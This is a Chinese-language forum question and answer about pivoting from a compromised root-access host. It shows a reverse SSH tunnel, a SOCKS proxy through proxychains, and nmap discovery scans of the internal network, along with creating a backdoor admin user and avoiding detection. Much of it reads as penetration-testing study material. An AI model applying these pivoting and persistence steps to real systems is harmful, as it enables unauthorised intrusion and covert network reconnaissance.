给定信息:我对 ip 1.1.1.1 上的计算机具有 root 访问权限并打开端口 22。
不必通过利用漏洞再次登录机器来获取 root 访问权限并且不在其机器上安装应用程序(如果我在机器上创建反向 shell,它可能会被检测到),而是尝试一种新方法;端口转发和代理链。
我的想法是建立一个通往网络服务器的隧道并转发信息,以便开始绘制内部网络。我偶然发现了代理链,它就像配置端口一样简单,例如在其conf文件中配置8080,然后运行命令: proxychains ifconfig
然后proxychains nmap --script=discovery $ip
在使用代理链之前似乎需要完成一些配置,这就是我认为的地方为什么?。我将在下面附加。
因此,首先作为网络服务器上的 root 访问权限,我将打开端口 22 并创建一个具有管理员权限的用户,例如来自州立农场的杰克。
然后我将从我的攻击机器上执行以下操作:
ssh -f -N -R 2222:127.0.0.1:22 [email protected]
# Enter password for jakefromstatefarm
ssh -f -N -D 127.0.0.1:8080 -p 2222 [email protected]
# Enter password for atkMachineUser
现在我将通过编辑conf文件在端口8080上使用代理链
proxychains ifconfig
让我困惑的问题是为什么我们需要事先建立这些隧道组?是因为需要用户凭据才能与不同的机器通信吗?这样,机器将维护凭证,然后代理链就不需要维护任何东西了?
我很困惑,因为我不知道为什么理论上我不能设置代理链来使用端口 22 直接与 1.1.1.1 的网络服务器通信并运行其各自的命令。
我试图确保我正确理解 SSH 隧道。
我读了很多信息、维基页面和书籍,虽然我模糊地理解了一些概念,但我还没有一个温暖和模糊的概念。话虽这么说,如果有人能像我 5 岁那样向我解释它,或者好吧,少一些胡言乱语,我会很高兴。
答案1
SSH 解释
如果我误解了,也许有人可以插话,但这就是我理解它的工作方式。
您正在远程主机上创建侦听端口并将其重定向到本地。这使您的机器不再需要决定流量需要路由到哪里,这就是为什么您之后不需要配置路由的原因。因此,远程主机根据收到的流量来决定将其发送到何处。
proxychains 将流量发送到 8080 -> 将流量发送到远程受害者上的侦听端口 2222,该端口将恢复到该主机上的环回 22。现在该主机可以控制流量的去向。这就是为什么你需要以这种方式进行调整。
使用此方法将路由责任落在受害主机上,这就是枢轴的工作原理。
[攻击者]8080 <--> 2222[受害者]<-->22[受害者:]
如果你跳过第一步,你的机器最终将决定采用哪条路由,并通过将流量发送到它可以获得的任何网络路由来给你带来不想要的结果......通常通过你的 ISP 网络或一些公共服务器而不是分段路由主机另一端的网络。
[攻击者]8080 <--> 22[受害者:]